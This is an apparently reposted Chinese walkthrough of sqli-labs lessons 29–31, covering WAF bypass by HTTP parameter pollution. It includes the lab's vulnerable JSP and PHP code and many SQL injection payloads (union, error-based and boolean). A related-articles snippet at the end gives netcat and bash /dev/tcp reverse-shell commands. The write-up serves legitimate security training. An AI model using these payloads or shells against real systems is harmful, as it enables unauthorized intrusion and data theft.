sqli-labs靶场详解(less29-less31)

news2024/12/26 11:08:50

less-29

提示有最好的防火墙

小白原因 这种题型没见过 先自己测试一下

?id=1' to use near ''1'' 预计可以使用报错注入 和单引号有关的注入点

?id=1' and '1'='1 成功

?id=1' and '1'='2 失败

确实是单引号字符型注入点

?id=1';%00 id=1%27;%00 获取到了%00空字符(原因就是服务器获取的url编码后的信息)

?id=1'; 报错 看来%00还是可以用的

?id=0' union select 1,2,3;%00 联合查询注入成功

?id=1' and extractvalue(1,concat('~',database())) ;%00

?id=1' and extractvalue(1,concat('~',database())) and '1'='1

成功报错注入 莫名其妙注入成功 这关难点在哪呢

发现服务器获取的是url编码后的信息

Hint: The Query String you input is: id=1%27%20and%20extractvalue(1,concat(%27~%27,database()))%20and%20%271%27=%271

这么简单和第一关一样 并且提示有最好的waf 我就纳闷了先看了一下源码有3个意识到不简单  我就搜索教程了

搜索教程发现  29-32需要自己搭建环境 这个靶场只提供源码

搭建了一个半小时各种问题 好歹最后成功了(在这我也发现了 无论什么时候都要靠自己 b站上搭建的视频 博主根本不好好看源代码 首页面报错必须输入id值才可以 估计他也是按照网上找的教程弄得)

不输入参数的时候我的一点问题没有 

这是网上全都出现的问题 不输入参数会报错

修改点就在index.jsp第二个url中 下面的代码分析中可以看到

下载一个jspstudy 充当waf 服务端口phpstudy启用80 jspstudy使用8080

接下来我们访问这个8080端口 也就是waf的

进行注入测试 

?id=1 正常

?id=1' 直接跳转到hacked.jsp提示攻击被阻挡

多次测试只能输出id的整数 输入什么都会提示攻击被阻挡

搜索教程后 该关使用的是参数污染的方式进行注入

?id=1&id=2  返回id=2的数据id=1的数据不返回

?id=1'&id=2 攻击被阻挡

?id=1&id=2' 出现了报错信息 单引号引发的问题

?id=1&id=2' and 1=1;%00 成功

Hint: The Query String you input is: id=1&id=2%27%20and%201=2;%00

?id=1&id=2' and 1=2;%00 无回显

Hint: The Query String you input is: id=1&id=2%27%20and%201=2;%00

到这就知道了 服务器后端只对第二个id参数进行处理

注入实例

?id=1&id=0' union select 1,2,3;%00 成功

可以使用联合注入 报错注入 盲注 

?id=1&id=2'&id=4  返回第id=4的数据 id=2'也不报错 也不提示攻击失败

Hint: The Query String you input is: id=1&id=2%27&id=4

通过以上发现 服务器后端只处理最后的id参数 waf只处理第一个id参数

先讲一下双层服务器

tomcat充当waf服务器 waf对参数进行过滤后 再把数据提交给apache服务器

         服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。

        而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。该用法就是 HPP(HTTP Parameter Pollution),http 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁。

代码分析一波

waf服务器的 index.jsp文件

<%
	String id = request.getParameter("id");//获取id参数 获取的第一个id参数
	String qs = request.getQueryString();
	if(id!=null)//参数不为空
	{
		if(id!="")//参数不为空
		{
			//try里面的就是waf工作原理
			try
			{
				String rex = "^\\d+$"; //设置正则表达式 只能有数字
				Boolean match=id.matches(rex);//看看参数中是否只有数字  就这一行就构成了最强的waf 因为只能匹配数字 只要是数字才能进行下一步
				if(match == true)//如果全是数字
				{
					URL sqli_labs = new URL("http://172.23.19.152/sql/Less-29/index.php?"+ qs);//跳转到新的页面
			        URLConnection sqli_labs_connection = sqli_labs.openConnection();  //这8行都是传数据用的 提供给新的页面
			        BufferedReader in = new BufferedReader(
			                                new InputStreamReader(
			                                sqli_labs_connection.getInputStream()));
			        String inputLine;
			        while ((inputLine = in.readLine()) != null) 
			            out.print(inputLine);
			        in.close();
				}
				else//还有别的符号  只要有别的符号服务器就认为你要攻击他 就跳转到hacked.jsp页面中 提示攻击失败
				{
					response.sendRedirect("hacked.jsp");
				}
			} 
			catch (Exception ex) //异常处理 不用管
			{
				out.print("<font color= '#FFFF00'>");
				out.println(ex);
				out.print("</font>");				
			}
			finally
			{
			}
		}
	}
	else
	{
		URL sqli_labs = new URL("http://172.23.19.152/sql/Less-29/index.php");
        URLConnection sqli_labs_connection = sqli_labs.openConnection();
        BufferedReader in = new BufferedReader(
                                new InputStreamReader(
                                sqli_labs_connection.getInputStream()));
        String inputLine;
        while ((inputLine = in.readLine()) != null) 
            out.print(inputLine);
        in.close();
	}
%>

服务器index.php页面

<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
if(isset($_GET['id']))
{
	$id=$_GET['id'];//这一步获取的是最后一个id的参数
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");
	fclose($fp);
	$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;
// connectivity 
	echo '$id';//证明获取最后一个参数
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row)
	{
	  	echo "<font size='5' color= '#99FF00'>";	
	  	echo 'Your Login name:'. $row['username'];
	  	echo "<br>";
	  	echo 'Your Password:' .$row['password'];
	  	echo "</font>";
  	}
	else 
	{
		echo '<font color= "#FFFF00">';
		print_r(mysql_error());
		echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
?>

我分析代码后 不理解为什么jsp获取第一个参数 php获取最后一个参数

注意

AI解释 Java中,getParameter()方法只返回给定名称的第一个值 PHP自动获取参数是最后一个参数

less-30

同样告诉有最好的WAF 注入过程估计和上一题一样

各种测试 提示攻击失败

毕竟是WAF只能使用参数污染的方式了

?id=1&id=2'   不报错还查询出了结果 看来也是字符型 但是不是使用的单引号

试了一下双引号 直接出来结果了

?id=1&id=2" and 1=1;%00 成功

?id=1&id=2" and 1=2;%00 失败

看看能不能使用报错函数

?id=1&id=2" 无返回结果 不报错 看来不能使用报错函数

成功确定注入点

其余和上一关同理  能使用布尔注入 联合查询注入

详情请看less-29

less-31

一样的提示

直接使用参数污染的注入方式

?id=1&id=2' 不报错 输出结果 看来还是字符型 尝试一下 看看是那种字符型注入

?id=1&id=2" 报错 to use near '"2"") 直接就出来了 双引号加括号的字符型

?id=1&id=2") and 1=1;%00 成功

?id=1&id=2") and 1=2;%00 无返回结果

成功确定注入点

可以使用 联合查询 盲注 报错注入

详情请看less29

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1263220.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【攻防世界-misc】Encode

1.下载解压文件&#xff0c;打开这个内容有些疑似ROT13加密&#xff0c;利用在线工具解密&#xff1a;ROT13解码计算器 - 计算专家 得到了解密后的值 得到解码结果后&#xff0c;看到是由数字和字母组成&#xff0c;再根据题目描述为套娃&#xff0c;猜测为base编码&#xff08…

WEB渗透—反序列化(八)

Web渗透—反序列化 课程学习分享&#xff08;课程非本人制作&#xff0c;仅提供学习分享&#xff09; 靶场下载地址&#xff1a;GitHub - mcc0624/php_ser_Class: php反序列化靶场课程&#xff0c;基于课程制作的靶场 课程地址&#xff1a;PHP反序列化漏洞学习_哔哩哔_…

C语言错误处理之 “信号处理方式<signal.h>及signal函数等内置函数”

目录 前言 signal.h头文件 信号宏 signal函数 实例&#xff1a;在Linux环境下验证signal函数 实例&#xff1a;在Linux中演示保存signal函数的返回值 预定义的信号处理函数&#xff08;简单了解&#xff09; SIG_DFL函数 SIG_IGN函数 raise函数 实例&#xff1a;测试…

初识Java 18-4 泛型

目录 泛型存在的问题 在泛型中使用基本类型 实现参数化接口 类型转换和警告 无法实现的重载 基类会劫持接口 自限定类型 奇异递归类型 自限定 自限定提供的参数协变性 本笔记参考自&#xff1a; 《On Java 中文版》 泛型存在的问题 接下来讨论的&#xff0c;是在泛型…

函数式编程:简洁与效率的完美结合

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

【工具】Zotero|使用Zotero向Word中插入引用文献(2023年)

版本&#xff1a;Word 2021&#xff0c;Zotero 6.0.30 前言&#xff1a;两年前我找网上插入文献的方式&#xff0c;网上的博客提示让我去官网下个插件然后才能装&#xff0c;非常麻烦&#xff0c;导致我对Zotero都产生了阴影。最近误打误撞发现Zotero自带了Word插件&#xff0c…

ffmpeg之QT开发环境搭建

文章目录 前言ffmpegQT开发环境搭建1、新建 QT 工程2、拷贝所需的 lib 文件和头文件2、拷贝所需的 dll 动态库文件3、修改 QT 项目的主配置文件 &#xff08;.pro 文件&#xff09;4、验证测试5、解决运行时的报错 前言 之前我们进行了 FFmepg 的编译以及在 Visual Studio 中引…

基于51单片机冰箱温度控制器设计

**单片机设计介绍&#xff0c; 基于51单片机冰箱温度控制器设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于51单片机冰箱温度控制器设计是一个非常实用的项目。以下是一个基本的介绍&#xff1a; 系统概述&#xff1a; …

MySQL基础进阶篇

进阶篇 存储引擎 MySQL体系结构&#xff1a; 存储引擎就是存储数据、建立索引、更新/查询数据等技术的实现方式。存储引擎是基于表而不是基于库的&#xff0c;所以存储引擎也可以被称为表引擎。 默认存储引擎是InnoDB。 相关操作&#xff1a; -- 查询建表语句 show create …

Spring代理方式之静态、动态代理(JDK和CGlib动态代理)

目录 1、代理设计模式的概念 2、静态代理 3、动态代理&#xff08;JDK和CGlib动态代理&#xff09; 1. JDK动态代理是基于接口的代理&#xff08;Interface-based proxy&#xff09; 2. CGLIB代理是基于类的代理&#xff08;Class-based proxy&#xff09; ⭐比较&#x…

阿里达摩院裁撤量子实验室

我是卢松松&#xff0c;点点上面的头像&#xff0c;欢迎关注我哦&#xff01; 马云的达摩院也不搞量子计算了&#xff0c;因为缺钱&#xff0c;整体裁掉了达摩院量子实验室&#xff0c;把所有的设备都赠送给了浙江大学。 达摩院量子实验室&#xff1a;总共30个研究员&#xf…

【单调栈】最大二叉树

题目&#xff1a; 给定一个不重复的整数数组 nums 。 最大二叉树 可以用下面的算法从 nums 递归地构建: 创建一个根节点&#xff0c;其值为 nums 中的最大值。递归地在最大值 左边 的 子数组前缀上 构建左子树。递归地在最大值 右边 的 子数组后缀上 构建右子树。 返回 nums…

linux反弹shell

nc工具反弹shell 下面是windows主机找到nc打开1.bat输入&#xff1a;nc 连接的IP地址 端口 受害主机是nc -lvvp 端口 -t -e /bin/bash kali系统连接 bash命令反弹 本地 nc -l -p 端口&#xff0c; 受害主机 bash -i >& /dev/tcp/要连接的主机IP/端口 0>&1 注…

Salesforce原生ERP产品 vs. 集成:如何选择?

Salesforce允许企业管理所有的客户交互。随着Salesforce平台的日渐成熟&#xff0c;企业已经能够获取成倍的收益。会计解决方案和其他ERP工具尤其契合&#xff0c;客户数据不会碰壁&#xff0c;可以在服务交付和客户成功、发票和账单、收入确认和续订的过程中继续前进。 一些…

业务流程图用什么软件绘制?

在企业的日常工作中&#xff0c;对于业务流程的把控和优化显得非常重要。为了更好地理解和管理业务流程&#xff0c;业务流程图便应运而生。 业务流程图是企业管理的图形化工具&#xff0c;它描述了企业在生产和服务提供过程中&#xff0c;在各个环节中所涉及的各种操作、任务…

ESP Multi-Room Music 方案:支持音频实时同步播放 实现音乐互联共享

项目背景 随着无线通信技术的发展&#xff0c;针对不同音频应用领域的无线音频产品正不断涌现。近日&#xff0c;乐鑫科技推出了基于 Wi-Fi 的多扬声器互联共享音乐通信协议——ESP Multi-Room Music 方案。该方案使用乐鑫自研的基于 Wi-Fi 局域网的音频同步播放技术&#xff…

从Android面试题目溯源-1、创建线程有那几种方式

概念 程序执行流的最小单位&#xff0c;处理器调度调度和分派的基本单位。 如何理解这个概念 如下图&#xff0c;可以简单类比吉他&#xff0c;六根弦代表六个线程&#xff0c;每个线程独立且单独运行&#xff0c;且持有上一个音的状态&#xff0c;每根手指可类比为一个CPU的…

E云管家开发个人微信号批量修改好友备注

简要描述&#xff1a; 修改好友备注 请求URL&#xff1a; http://域名地址/modifyRemark 请求方式&#xff1a; POST 请求头Headers&#xff1a; Content-Type&#xff1a;application/jsonAuthorization&#xff1a;login接口返回 参数&#xff1a; 参数名必选类型说…

Linux常见指令基础知识

目录 初始Linux操作系统 Linux背景&#xff1a; 开源 &#xff1a; 发行版本&#xff1a; ​编辑 OS概念&#xff0c;定位&#xff1a; 使用 XShell 远程登录 Linux Linux相关知识 文件是什么&#xff1f; 路径分隔符 &#xff08;.&#xff09; 和 &#xff08;. .&…

玻色量子研发进展

2023年 2023.8 量子计算突破云渲染资源调度&#xff01;真机测试完整报告公开&#xff01; 2023.8 量子计算突破金融信用评分&#xff01;真机测试完整报告公开&#xff01; 2023.7 玻色量子“揭秘”之旅行商问题与Ising建模 2023.7 玻色量子“揭秘”之背包问题与Ising建…